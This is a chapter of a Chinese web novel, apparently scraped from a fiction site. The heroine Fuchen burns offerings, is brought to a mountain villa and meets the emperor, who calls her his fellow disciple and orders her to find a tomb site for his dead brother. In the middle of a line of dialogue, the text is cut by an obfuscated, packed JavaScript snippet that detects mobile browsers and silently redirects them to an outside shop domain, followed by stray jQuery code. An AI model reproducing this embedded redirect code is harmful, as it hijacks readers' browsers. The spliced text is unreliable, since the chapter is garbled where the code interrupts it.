文趣网 > 其他小说 > 死遁后你的任务对象齐聚一堂 > 15. 第十五章
    茯神见了他就愁眉苦脸呲牙咧嘴。

    她拍了拍沾了尘土的衣裙撑着膝盖站了起来,不知为何鼻尖红红的,许是被香火熏到了,方知雪的视线缓慢地移到了她随意挽起来的发髻,一愣,话没经过大脑就直接脱口而出。

    “你是不是不开心?”

    茯神又被吓了一跳,以为自己表现得太过明显,连忙堆起笑容。

    “开心开心,开心得很呢,见到指挥使最开心了。”

    方知雪被她一句话堵了回去,不知道自己究竟是怎么了,怀疑是和邹忌待在一起久了,脑子坏坏的。

    “指挥使大人也是来给樱春上坟?”茯神没好气地将手里的纸钱递给他一半,“上坟怎么能空着手。

    原本只是逗逗他,没想到他盯了两秒竟给接了过去,走到茯神身边蹲下,将纸钱撕成薄薄一张,一点一点慢慢扔进火盆中。

    茯神挑挑眉也重新蹲回去,两人就这样诡异的相对无言,烧起纸钱来。

    “搞完了?”

    她正要把东西收拾妥当,见方知雪仍是没走,也疑惑道,“大人还有什么事吗?主人家今日没说要包饭。”

    方知雪翻了个白眼。

    “搞完你的事了,就随我走一趟。”

    “去哪?”茯神警惕。

    “有人要见你。”他说完也不理会茯神转身就往山下走去。

    茯神看着他越走越远,拉紧了自己小包的带子,心里琢磨着这会儿往反方向跑会怎么样。却听见方知雪远远传来一句“跟不上来的话,后果自负。”

    她心想自己两手空空可负不起什么后果,纠结了一小会儿还是一阵小跑追了上去。

    “指挥使大人等等下官——”

    茯神捏着下巴打量着眼前的马车。

    “到底是要上哪去?还得坐这个?”她指了指已然坐在上面等候多时的邹忌,“你怎么也在这?”

    邹忌无奈地耸了耸肩,“我也想问呢,今日分明休沐,还得被拉到这里来给你当私人马夫。”

    方知雪独自翻身上了前面的高头大马,很高傲地抛下一句,“不坐车,就自己跟在后面跑。”

    茯神撇撇嘴立刻爬上马车。

    “来让一让…”扒开了挡在门口的邹忌,钻了进去,刚坐稳,就听见邹忌甩起了鞭子,车轮辘辘行驶了起来。

    她小心翼翼地掀起车帘,看四周林色渐深,显然不是回城的路,倒像是越往东边的山里走去了,放下了帘,心里有些忐忑手指不自觉绞起了衣摆。

    行了约莫半个时辰,人都快要睡着了,才察觉马车终于停了下来。

    “下车吧。”外面传来方知雪的声音。

    茯神钻出马车探头探脑,却见他们停在了一座古朴的山间小院前,门上的牌匾写着“空桐苑”三字。她沉默地下了车,跟在方知雪身后进了院子,邹忌却留在了马车旁,冲着她挥了挥手。

    院内大有乾坤,山环水旋,铺陈典雅,四周草木浓绿。她跟着方知雪转过几个穿山游廊,隐隐有些晕头转向之时,却见眼前展开一处宽阔金塘,水面碧漪涟涟,紫花丛丛,当中一只垂着帷幔的八角小亭,亭内朦胧立着一人。

    茯神隐隐猜到了此人的身份,哆哆嗦嗦地走进亭子。

    四面环水,纱幔扬起青氛氲,又是要落雨的天。

    那人闻声回头,相貌分明有月射寒江之姿,神情却温和,茯神注意到他的眉间有一颗黑色的小痣,近似神台上会供奉的像。

    茯神心想陛下真是仙姿玉质,却猛听他开口却说:“小师妹,总算是同你见面了。”

    这下茯神没空注意自己仪容端不端正,张着嘴巴道,“啊?”

    李基见她这副模样,笑道,“想来太史令还没有告诉过你,他就是朕从前在祠部修命时的老师吧?”

    茯神努力理解了他话里的意思,原来闻真从前也在祠部任职,想师父这个老混蛋,有这背景也不早说,要是早知道她还有个当皇帝的师兄,那在幽燕不得横着走。

    心里想着自己的螃蟹大梦,但是面上茯神也不敢失了礼数,只是她根本没接受过正规教导,不知道见了今上应该行什么样的礼说什么样的词儿,赶紧眼神求助站在边上的方知雪,没想到他完全不看这边,皱着眉头一脸痛苦不知道在想什么。

    茯神没办法干脆提着裙摆跪在地上行了个大礼,希望陛下不会同她这个没进过学堂胸无点墨的家伙计较。

    “小师妹不必多礼。”李基亲自抬手将她扶起,温言道,“空桐苑内无君臣,有的只是你我同门而已。”

    茯神只能点头说是。

    “从前虽然没见过面,可是我却一直知道你的存在,从你…”李基双手做圆比了个大小,“这么大的时候起。那个时候朕也不过五六岁的年纪,暗中因为在意老师能日日陪在你身侧,记恨过你好些年呢。”他笑起来眼睛微微眯起,神情自然的仿若陷入了回忆。

    听陛下说起这些,茯神难免想到小河讲的八卦,李基四岁就离开了母亲,被囚禁在祠部中奉旨修命,她忍不住猜测,也许在那些日子里,身为老师的闻真就是这个幼年稚子全部的依靠。

    于是茯神回道,“下官虽然不知陛下就是师父从前的学生,年幼时却总听他提起过,认识一位天赋异禀的孩子,于天文算数上不知比我聪慧多少。”

    她这样一说,李基放声笑起来。

    “那都是多少年前的事了,如今我已然忘记了太史令教授的东西。要说起这些看家本领,这一次,朕还真是要多谢你,为朕分忧,解决了一桩难事,堵上了朝中那些悠悠众口。”

    茯神知道他说的是樱春一案,却不知何谓“悠悠众口”。

    “你

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17797580|210552||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    还了朕清白,要不然,连同安远侯和太后在内,不知还有多少公卿会在心里认定,是朕杀了端王,杀了自己的兄长。”

    茯神一惊,连忙又跪了下去,心想陛下你怎么什么都往外说啊,我跟你虽是名义上的师兄妹,那也是往好听了巴结,实际上根本一点也不熟。

    她趴在地上,这一次,李基没有将她扶起,而是走到了亭边,对着一池绿水黯然。

    “他们虽疑心朕,可朕却不能不顾手足之情。”

    李基的声音幽幽传来,水面上扑过一阵清风,四周纱幔轻晃。

    茯神跪在冰凉的砖上,额头抵着手背听他说道。

    “端王惹了妖邪横死,尸身还存放在紫微殿后的冰棺中,春去暑来,气温会逐渐回暖,想必过不了多少时日还是会腐烂。所以朕今日让方指挥使请你过来,是想让你替朕再解烦忧。”

    他缓步行至茯神跟前,这才虚虚将她再次扶起。

    清冷的一张脸上重新浮现了温和,语调也变得轻松。

    “师妹能否替我寻一处福地,为端王修建陵墓。不过要尽快些,兄长怕是等不了那么久,我也着急,想让太后圣人她老人家安心啊。”

    茯神垂下了眉眼,“这是陛下的旨意吗?”还是作为同门的请求。

    李基笑而不语。

    她随即了然,拱手倾身道,“臣遵旨。”

    天风奄至,夹杂着微凉的雨丝。

    茯神跨出空桐苑,抬头看了一眼阴沉的天空,几点细雨滴落到脸颊上。

    “怎么就你自己?老大呢?”邹忌跳下马车,围着她转了一圈,又到门口张望去。

    “陛下同他还有话说吧。”

    邹忌抱着胳膊恍然大悟,“果然是陛下要见你。”

    “你不知道?”茯神一脸“他们都瞒着你”的表情。

    “我、我当然知道!能让老大在休沐日离家外出到这荒山野岭来的,除了陛下也没别人了。”

    茯神哦了一声,自顾自上了马车。

    “走吧,指挥使命令你将我送回阴阳司再拿五块金元宝给我。”

    邹忌甩了甩马鞭,“行吧那走…”

    “诶,不是?”

    帘外逐渐有了人声,马车已经进了城,周遭变得热闹嘈杂了些,这雨最终还是没能下下来。茯神东倒西歪地躺在马车内,止不住地叹气。

    原本以为被封了个望气使已经够麻烦的了,现在还要奉旨为端王选墓地。她只想平平淡淡赚够钱然后回家,谁知道最近怎么突然多出好些事来。

    茯神想起自己装钱的匣子,好在陛下在临行前告诉她,若能在冬月之前建好地宫让李滋下葬,就能赏赐她黄金万两。

    那岂不是能直接完成任务,回到原来的世界。

    想到这里,她才能勉强喘得上气,装作兴奋起来。